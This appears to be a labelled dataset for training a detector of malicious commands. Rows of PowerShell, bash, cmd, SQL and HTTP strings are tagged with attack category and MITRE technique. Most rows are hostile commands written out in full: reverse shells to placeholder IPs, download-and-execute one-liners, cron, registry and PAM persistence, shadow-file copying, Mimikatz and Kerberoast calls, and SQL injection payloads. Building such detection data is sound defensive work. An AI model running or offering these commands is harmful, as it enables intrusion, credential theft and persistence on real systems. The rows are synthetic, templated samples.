text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
Get-Process | Sort-Object CPU -Descending | Select-Object -First 37
benign
0
powershell
null
benign-048
base64 -d tmp41.b64 > tmp41.png
benign
0
bash
null
benign-113
' gRoUP BY USer_iD HaviNG 1=1--
sql_injection
6
sql
T1190
sql_injection-043
sudo impacket-GetNPUsers contoso.test/ -usersfile users.txt -format hashcat -outputfile asrep.txt
credential_harvesting
2
bash
T1558.004
credential_harvesting-054
' OR '1'='1' -- ;%00
sql_injection
6
sql
T1190
sql_injection-000
$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('198.51.100.112',9001)).GetStream())
reverse_shell
3
powershell
T1059.001
reverse_shell-048
powershell.exe -Command "Get-ChildItem -Path $env:USERPROFILE\Desktop -Recurse -Filter *.log | Remove-Item"
benign
0
powershell
null
benign-046
powershell.exe -Command "Import-Module ActiveDirectory; Get-ADGroup -Filter * | Get-ADGroupMember | Select name"
reconnaissance
1
powershell
T1087.002
reconnaissance-081
ncat --ssl 198.51.100.168 5555 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
cmd.exe /c "\\198.51.100.25\share\agent.exe"
download_execute
5
cmd
T1105
download_execute-050
for p in 22 80 443 445 3389; do (echo > /dev/tcp/192.0.2.166/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
sc create netlogond binPath= "C:\ProgramData\a.exe" start= auto & sc start netlogond
persistence
4
cmd
T1543.003
persistence-021
sqlmap -u "http://192.0.2.69/page.php?id=31" --batch --dbs --dump
sql_injection
6
bash
T1190
sql_injection-024
nEt share & neT seSsIon & net VIew \\dB13.coNtOsO.test
reconnaissance
1
cmd
T1135
reconnaissance-084
cp /etc/shadow /tmp/.a1 && chmod 644 /tmp/.a1
credential_harvesting
2
bash
T1003.008
credential_harvesting-041
echo '[Desktop Entry]\nExec=/tmp/.health' > ~/.config/autostart/GoogleUpdateTaskMachine.desktop
persistence
4
bash
T1037.005
persistence-042
curl -fsSL http://203.0.113.188/x85 -o /tmp/.x85 && chmod +x /tmp/.x85 && /tmp/.x85
download_execute
5
bash
T1105
download_execute-002
echo 'alias ls="ls --color=auto; /tmp/.out &"' >> /home/dave/.bashrc
persistence
4
bash
T1546.004
persistence-035
powershell.exe -Command "Copy-Item $env:TEMP\out29.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\AdobeARM.exe""
persistence
4
powershell
T1547.001
persistence-017
$x=[System.Net.WebRequest]::Create('http://198.51.100.69/agent');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd()
download_execute
5
powershell
T1059.001
download_execute-042
sudo curl http://198.51.100.243/data.sh -o /tmp/data.sh; bash /tmp/data.sh
download_execute
5
bash
T1105
download_execute-028
$client = New-Object System.Net.Sockets.TCPClient('192.0.2.171',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendb...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
ncat.exe --ssl 203.0.113.188 1337 -e cmd.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-025
echo '/usr/local/bin/.stage275 &' >> /etc/profile
persistence
4
bash
T1546.004
persistence-006
/search?q=deploy&sort=created_at
benign
0
http
null
benign-149
curl -fsSL http://198.51.100.173/run33 -o /tmp/.run33 && chmod +x /tmp/.run33 && /tmp/.run33
download_execute
5
bash
T1105
download_execute-002
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.0.2.131",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
\\192.0.2.100\share\health.exe
download_execute
5
cmd
T1105
download_execute-050
sudo exec 5<>/dev/tcp/203.0.113.245/1337;cat <&5 | while read line; do $line 2>&5 >&5; done
reverse_shell
3
bash
T1059.004
reverse_shell-032
sudo passwd -l jenkins
benign
0
bash
null
benign-085
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.stage213; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
cmstp.exe /ni /s http://192.0.2.89/kdev58.inf
download_execute
5
cmd
T1218.003
download_execute-049
INvoke-MiMikatz -COmmANd '"prIVilege::dEbug" "sEkUrlSa::lOgonpasswOrds"'
credential_harvesting
2
powershell
T1003.001
credential_harvesting-018
docker exec -it nginx /bin/sh
benign
0
bash
null
benign-099
/api/user?id=2%20OR%201=1
sql_injection
6
http
T1190
sql_injection-044
msHTA httP://198.51.100.190:80/lib64.hTa
reverse_shell
3
cmd
T1218.005
reverse_shell-027
for p in 22 80 443 445 3389; do (echo > /dev/tcp/192.0.2.103/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
';+UpDATe+users+set+pasSword='p@sSw0rd!'+WHEre+usernAME='admin'--+--+-
sql_injection
6
sql
T1190
sql_injection-038
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("198.51.100.205",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
rustscan -a 203.0.113.236 --ulimit 5000 -- -sV
reconnaissance
1
bash
T1046
reconnaissance-049
expand \\192.0.2.181\share\data.cab C:\Temp\data.exe & C:\Temp\data.exe
download_execute
5
cmd
T1105
download_execute-047
docker exec -it postgresql /bin/sh
benign
0
bash
null
benign-099
nmap -sU --top-ports 100 198.51.100.105
reconnaissance
1
bash
T1046
reconnaissance-046
cp /tmp/pam_kdev54.so /lib/x86_64-linux-gnu/security/ && sed -i '1i auth sufficient pam_kdev54.so' /etc/pam.d/sshd
persistence
4
bash
T1556.003
persistence-037
ssh bob@db13.acme.test 'uptime'
benign
0
bash
null
benign-019
New-ItEm -PAth 'HKCU:\SofTware\ClassEs\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprOCSerVEr32' -ValUE 'C:\UsErs\PUbLic\AgeNT.dLl' -Force
persistence
4
powershell
T1546.015
persistence-048
(crontab -l 2>/dev/null; echo "*/15 * * * * /bin/bash -c 'bash -i >& /dev/tcp/198.51.100.47/53 0>&1'") | crontab -
persistence
4
bash
T1053.003
persistence-000
SELECT COUNT(*) FROM customers GROUP BY email HAVING COUNT(*) > 24;
benign
0
sql
null
benign-073
admin' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>37-- -- -
sql_injection
6
sql
T1190
sql_injection-035
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'MicrosoftEdgeUpdate' -Value 'powershell -w hidden -nop -c IEX(IWR http://198.51.100.121/health.ps1)'
persistence
4
powershell
T1547.001
persistence-013
smbclient -L //203.0.113.123 -N
reconnaissance
1
bash
T1590
reconnaissance-022
cmd.exe /c "C:\Users\Public\nc64.exe 203.0.113.189 53 -e powershell.exe"
reverse_shell
3
cmd
T1059.003
reverse_shell-051
rustscan -a 192.0.2.174 --ulimit 5000 -- -sV
reconnaissance
1
bash
T1046
reconnaissance-049
arp-scan --localnet
reconnaissance
1
bash
T1018
reconnaissance-051
%' OR '1'='1' -- /*
sql_injection
6
sql
T1190
sql_injection-000
insmod /tmp/tmp17.ko && echo tmp17 >> /etc/modules
persistence
4
bash
T1547.006
persistence-041
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.0.2.175',8443)" & rem interactive
reverse_shell
3
cmd
T1059.003
reverse_shell-053
test29; INSERT INTO users (username,password,role) VALUES ('support','Summer#99','admin')--
sql_injection
6
sql
T1190
sql_injection-012
CREATE TRIGGER WindowsUpdateSvc AFTER INSERT ON sessions FOR EACH ROW EXECUTE PROCEDURE out();
persistence
4
sql
T1505.001
persistence-025
nmap -sS -p- -T4 198.51.100.202
reconnaissance
1
bash
T1046
reconnaissance-000
cp /tmp/pam_conf.so /lib/x86_64-linux-gnu/security/ && sed -i '1i auth sufficient pam_conf.so' /etc/pam.d/sshd
persistence
4
bash
T1556.003
persistence-037
INSERT INTO events (username, password_hash, role) VALUES ('toor', '$2b$12$abcdefghijklmnopqrstuv', 'admin');
persistence
4
sql
T1136
persistence-057
1'/**/GROUP/**/BY/**/region/**/HAVING/**/1=1--;%00
sql_injection
6
sql
T1190
sql_injection-043
docker logs -f --tail 6 sshd
benign
0
bash
null
benign-009
CREATE TABLE invoices_archive AS SELECT * FROM invoices WHERE created_at < '2024-11-22';
benign
0
sql
null
benign-140
IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://192.0.2.61/out17.txt -UseBasicParsing).Content))
download_execute
5
powershell
T1059.001
download_execute-041
sudo socat OPENSSL:203.0.113.158:4444,verify=0 EXEC:/bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-038
kubectl logs deploy/sshd -n default --tail=50
benign
0
bash
null
benign-100
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"203.0.113.37:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
reverse_shell
3
bash
T1059
reverse_shell-042
sudo exec 5<>/dev/tcp/203.0.113.245/5555;cat <&5 | while read line; do $line 2>&5 >&5; done
reverse_shell
3
bash
T1059.004
reverse_shell-032
powershell.exe -Command "Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File install52.txt"
credential_harvesting
2
powershell
T1558.003
credential_harvesting-021
nmap -sS -p- -T4 198.51.100.230
reconnaissance
1
bash
T1046
reconnaissance-000
x' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- --
sql_injection
6
sql
T1190
sql_injection-009
050; INSERT INTO users (username,password,role) VALUES ('sysadm','P@ssw0rd!','admin')--/*
sql_injection
6
sql
T1190
sql_injection-012
impacket-GetUserSPNs ad.example.org/erin:'Changeme123' -dc-ip 198.51.100.102 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
sudo cp /etc/shadow /tmp/.agent95 && chmod 644 /tmp/.agent95
credential_harvesting
2
bash
T1003.008
credential_harvesting-041
socat TCP:192.0.2.195:1337 EXEC:sh
reverse_shell
3
bash
T1059.004
reverse_shell-037
Sc config dBus-heLper bINPath= "CMD /C C:\PrOgraMDaTa\sTAGE2.eXE" sTArT= auTo
persistence
4
cmd
T1543.003
persistence-054
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.0.2.164",53));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
rEG querY HKLM /f passworD /t REG_SZ /s
credential_harvesting
2
cmd
T1552.002
credential_harvesting-034
net user helpdesk$ Winter2024! /add & net localgroup administrators helpdesk$ /add
persistence
4
cmd
T1136.001
persistence-022
Test-NetConnection -ComputerName 192.0.2.51 -Port 445 -InformationLevel Quiet
reconnaissance
1
powershell
T1046
reconnaissance-072
Test-NetConnection -ComputerName 203.0.113.246 -Port 445 -InformationLevel Quiet
reconnaissance
1
powershell
T1046
reconnaissance-072
curl.exe -s http://198.51.100.147/install63.bat -o %TEMP%\install63.bat & call %TEMP%\install63.bat
download_execute
5
cmd
T1105
download_execute-024
iwr http://203.0.113.21/health66.ps1 -useb | iex
download_execute
5
powershell
T1059.001
download_execute-037
UnlOCK-ADAccoUnt -IDenTity fRAnK
benign
0
powershell
null
benign-116
(crontab -l 2>/dev/null; echo "*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.0.2.137/443 0>&1'") | crontab -
persistence
4
bash
T1053.003
persistence-000
SELECT LOAD_FILE('/etc/shadow');
credential_harvesting
2
sql
T1555
credential_harvesting-077
expand \\198.51.100.175\share\x78.cab C:\Temp\x78.exe & C:\Temp\x78.exe
download_execute
5
cmd
T1105
download_execute-047
SELECT table_name, column_name FROM information_schema.columns WHERE table_schema NOT IN ('mysql','sys');
reconnaissance
1
sql
T1213
reconnaissance-042
dir D:\Backups /s /b
benign
0
cmd
null
benign-063
lua -e "require('socket');require('os');t=socket.tcp();t:connect('198.51.100.10','443');os.execute('/bin/sh -i <&3 >&3 2>&3');"
reverse_shell
3
bash
T1059
reverse_shell-014
/usr/bin/curl -k https://203.0.113.124:13905/xmrig -o /var/tmp/.data && chmod +x /var/tmp/.data && /var/tmp/.data -o pool.service.example:8443 --donate-level 1 -B
download_execute
5
bash
T1105
download_execute-008
cmd.exe /c "powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('198.51.100.16',53)" & rem interactive"
reverse_shell
3
cmd
T1059.003
reverse_shell-053
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.0.2.152","5555");loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'
reverse_shell
3
bash
T1059
reverse_shell-043
14; INSERT INTO users (username,password,role) VALUES ('backup2','Winter2024!','admin')--
sql_injection
6
sql
T1190
sql_injection-012
curl -s http://198.51.100.202/k.pub >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-032
echo '/tmp/.out30 2>/dev/null &' >> /etc/bash.bashrc
persistence
4
bash
T1546.004
persistence-036
ALTER TABLE customers ADD COLUMN status VARCHAR(255);
benign
0
sql
null
benign-076
DESCRIBE products;
benign
0
sql
null
benign-146